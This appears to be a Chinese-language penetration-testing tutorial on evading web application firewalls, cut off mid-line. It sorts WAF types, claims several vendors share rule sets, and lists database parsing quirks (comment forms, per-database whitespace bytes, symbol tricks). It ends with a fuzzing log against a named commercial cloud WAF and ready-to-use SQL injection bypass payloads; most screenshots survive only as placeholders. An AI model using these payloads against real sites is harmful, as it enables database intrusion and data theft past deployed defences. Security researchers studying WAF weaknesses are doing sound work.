0x01 搞起
当我们遇到一个waf时,要确定是什么类型的?先来看看主流的这些waf,狗、盾、神、锁、宝、卫士等等。。。(在测试时不要只在官网测试,因为存在版本差异导致规则库并不一致)
image-20240927210758839
1.云waf:
在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机。
2.主机防护软件:
在主机上预先安装了这种防护软件,可用于扫描和保护主机(废话),和监听web端口的流量是否有恶意的,所以这种从功能上讲较为全面。这里再插一嘴,mod_security、ngx-lua-waf这类开源waf虽然看起来不错,但是有个弱点就是升级的成本会高一些。
3.硬件ips/ids防护、硬件waf(这里先不讲)
使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。
再来说明下某些潜规则(关系):
百度云加速免费版节点基于CloudFlare
安全宝和百度云加速规则库相似
创宇云安全和腾讯云安全规则库相似
腾讯云安全和门神规则库相似
硬件waf自身漏洞往往一大堆
当Rule相似时,会导致一个问题,就比如和双胞胎结婚晓得吧?嗯。
0x02 司空见惯
h0ck1r丶羽我们还需要把各种特性都记牢,在运用时加以变化会很有效果。
1.数据库特性
代码语言:javascript
(1)注释:#---- ---+///**/
/*letmetest*/
;
利用注释简单绕过云锁的一个案例:
image-20240927210852012
拦截的,但// > 1个就可以绕过了,也就是///**/以上都可以。
image-20240927210919032
(2)科学记数法:
image-20240927210937316
(3)空白字符:
SQLite3
0A 0D 0C 09 20
MySQL5
09 0A 0B 0C 0D A0 20
PosgresSQL
0A 0D 0C 09 20
Oracle
11g 00 0A 0D 0C 09 20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(4)+号:
image-20240927211029564
(5)-号:
image-20240927211049463
(6)``符号:
image-20240927211110988
(7)~号:
image-20240927211131977
(8)!号:
image-20240927211153290
(9)@形式
:
image-20240927211220832
(10)点号.1:
image-20240927211241635
(11)单引号双引号:
image-20240927211313869
(12)括号select(1):
image-20240927211335331
试试union(select)云盾会不会拦截
(13)花括号:
这里举一个云盾的案例,并附上当时fuzz的过程:
union+select 拦截
select+from 不拦截
select+from+表名 拦截
union(select) 不拦截
所以可以不用在乎这个union了。
union(select user from ddd) 拦截
union(select%0aall) 不拦截
union(select%0aall user from ddd) 拦截
fuzz下select%0aall与字段之间 + 字段与from之间 + from与表名之间 + 表名与末尾圆括号之间可插入的符号。
union(select%0aall{user}from{ddd}) 不拦截。
image-20240927211359752
Bypass Payload:
1 union(select%0aall{x users}from{x ddd})
1 union(select%0adistinct{x users}from{x dd